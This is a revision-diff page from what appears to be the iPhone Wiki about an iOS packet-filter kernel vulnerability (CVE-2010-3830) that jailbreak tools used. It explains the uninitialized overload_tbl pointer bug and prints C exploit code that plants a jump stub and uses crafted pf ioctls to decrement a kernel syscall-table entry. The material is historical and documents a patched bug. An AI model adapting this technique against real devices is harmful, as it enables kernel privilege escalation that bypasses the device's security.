Difference between revisions of "Packet Filter Kernel Exploit"

From The iPhone Wiki
Jump to: navigation, search
(Just creating this page very crudely before I forget. Someone should clean it up before I get back online *wink*)
 
m (Vulnerability: prevent line break within pointer operator)
 
(4 intermediate revisions by 3 users not shown)
Line 1: Line 1:
 
{{DISPLAYTITLE:Packet filter kernel exploit}}
 
{{DISPLAYTITLE:Packet filter kernel exploit}}
This is the [[kernel]] exploits used in [[limera1n]] and [[greenpois0n]] along with the bootrom exploit to make it untethered. It is patched in iOS 4.2.1 and above.
+
This is a [[kernel]] exploit used in [[Greenpois0n (jailbreak)|greenpois0n]], [[limera1n]], [[PwnageTool]], and [[redsn0w]], along with limera1n's [[bootrom]] exploit, to achieve an [[untethered jailbreak]] for devices invulnerable to [[0x24000 Segment Overflow]]. As of iOS 4.2.1, it is patched.
   
 
== Credit ==
 
== Credit ==
[[Comex]]
+
[[User:Comex|Comex]]
   
 
== Vulnerability ==
 
== Vulnerability ==
   
The vulnerability is located in the DIOCADDRULE ioctl handler, due to improper initialization of the overload_tbl field, which can be later exploited in the DIOCCHANGERULE handler. The rule field of the pfioc_rule structure passed from userland is copied into a kernel buffer, and then some of the structure fields are reinitialized. However, if rule->overload_tblname[0] is zero, the rule->overload_tbl pointer won't be initialized properly and will retain the value passed from userland. When the rule is removed, the pf_rm_rule function calls pfr_detach_table which in turn decrements a reference counter using the invalid pointer, allowing an arbitrary decrement anywhere in kernel memory.
+
The vulnerability is located in the DIOCADDRULE ioctl handler, due to improper initialization of the overload_tbl field, which can be later exploited in the DIOCCHANGERULE handler. The rule field of the pfioc_rule structure passed from userland is copied into a kernel buffer, and then some of the structure fields are reinitialized. However, if rule‑>overload_tblname[0] is zero, the rule‑>overload_tbl pointer won't be initialized properly and will retain the value passed from userland. When the rule is removed, the pf_rm_rule function calls pfr_detach_table which in turn decrements a reference counter using the invalid pointer, allowing an arbitrary decrement anywhere in kernel memory.
   
 
== Code ==
 
== Code ==
Line 101: Line 101:
 
</pre>
 
</pre>
   
== Sources for information ==
+
== Sources ==
  +
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3830
[http://esec-lab.sogeti.com/dotclear/index.php?post/2010/12/09/CVE-2010-3830-iOS-4.2.1-packet-filter-local-kernel-vulnerability Sogeti ESEC lab]
 
  +
   
 
[[Category:Exploits]]
 
[[Category:Exploits]]

Latest revision as of 09:31, 9 July 2011

This is a kernel exploit used in greenpois0n, limera1n, PwnageTool, and redsn0w, along with limera1n's bootrom exploit, to achieve an untethered jailbreak for devices invulnerable to 0x24000 Segment Overflow. As of iOS 4.2.1, it is patched.

Credit

Comex

Vulnerability

The vulnerability is located in the DIOCADDRULE ioctl handler, due to improper initialization of the overload_tbl field, which can be later exploited in the DIOCCHANGERULE handler. The rule field of the pfioc_rule structure passed from userland is copied into a kernel buffer, and then some of the structure fields are reinitialized. However, if rule‑>overload_tblname[0] is zero, the rule‑>overload_tbl pointer won't be initialized properly and will retain the value passed from userland. When the rule is removed, the pf_rm_rule function calls pfr_detach_table which in turn decrements a reference counter using the invalid pointer, allowing an arbitrary decrement anywhere in kernel memory.

Code

int main() {
    unsigned int target_addr = CONFIG_TARGET_ADDR;
    unsigned int target_addr_real = target_addr & ~1;
    unsigned int target_pagebase = target_addr & ~0xfff;
    unsigned int num_decs = (CONFIG_SYSENT_PATCH_ORIG - target_addr) >> 24;
    assert(MAP_FAILED != mmap((void *) target_pagebase, 0x2000, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE | MAP_FIXED, -1, 0));
    unsigned short *p = (void *) target_addr_real;
    if(target_addr_real & 2) *p++ = 0x46c0; // nop
    *p++ = 0x4b00; // ldr r3, [pc]
    *p++ = 0x4718; // bx r3
    *((unsigned int *) p) = (unsigned int) &ok_go;
    assert(!mprotect((void *)target_pagebase, 0x2000, PROT_READ | PROT_EXEC));
    
    // Yes, reopening is necessary
    pffd = open("/dev/pf", O_RDWR);
    ioctl(pffd, DIOCSTOP);
    assert(!ioctl(pffd, DIOCSTART));
    unsigned int sysent_patch = CONFIG_SYSENT_PATCH;
    while(num_decs--)
        pwn(sysent_patch+3);
    assert(!ioctl(pffd, DIOCSTOP));
    close(pffd);
    
    assert(!mlock((void *) ((unsigned int)(&ok_go) & ~0xfff), 0x1000));
    assert(!mlock((void *) ((unsigned int)(&flush) & ~0xfff), 0x1000));
    assert(!mlock((void *) target_pagebase, 0x2000));
#ifdef DEBUG
    printf("ok\n"); fflush(stdout);
#endif
    syscall(0);
#ifdef DEBUG
    printf("we're out\n"); fflush(stdout);
#endif
    //...
}
//...

static void pwn(unsigned int addr) {
    struct pfioc_trans trans;
    struct pfioc_trans_e trans_e;
    struct pfioc_pooladdr pp;
    struct pfioc_rule pr;

    memset(&trans, 0, sizeof(trans));
    memset(&trans_e, 0, sizeof(trans_e));
    memset(&pr, 0, sizeof(pr));

    trans.size = 1;
    trans.esize = sizeof(trans_e);
    trans.array = &trans_e;
    trans_e.rs_num = PF_RULESET_FILTER;
    memset(trans_e.anchor, 0, MAXPATHLEN);
    assert(!ioctl(pffd, DIOCXBEGIN, &trans)); 
    u_int32_t ticket = trans_e.ticket;

    assert(!ioctl(pffd, DIOCBEGINADDRS, &pp));
    u_int32_t pool_ticket = pp.ticket;

    pr.action = PF_PASS;
    pr.nr = 0;
    pr.ticket = ticket;
    pr.pool_ticket = pool_ticket;
    memset(pr.anchor, 0, MAXPATHLEN);
    memset(pr.anchor_call, 0, MAXPATHLEN);

    pr.rule.return_icmp = 0;
    pr.rule.action = PF_PASS;
    pr.rule.af = AF_INET;
    pr.rule.proto = IPPROTO_TCP;
    pr.rule.rt = 0;
    pr.rule.rpool.proxy_port[0] = htons(1);
    pr.rule.rpool.proxy_port[1] = htons(1);

    pr.rule.src.addr.type = PF_ADDR_ADDRMASK;
    pr.rule.dst.addr.type = PF_ADDR_ADDRMASK;
    
    //offsetof(struct pfr_ktable, pfrkt_refcnt[PFR_REFCNT_RULE]) = 0x4a4
    pr.rule.overload_tbl = (void *)(addr - 0x4a4);
    
    errno = 0;

    assert(!ioctl(pffd, DIOCADDRULE, &pr));

    assert(!ioctl(pffd, DIOCXCOMMIT, &trans));

    pr.action = PF_CHANGE_REMOVE;
    assert(!ioctl(pffd, DIOCCHANGERULE, &pr));
}

Sources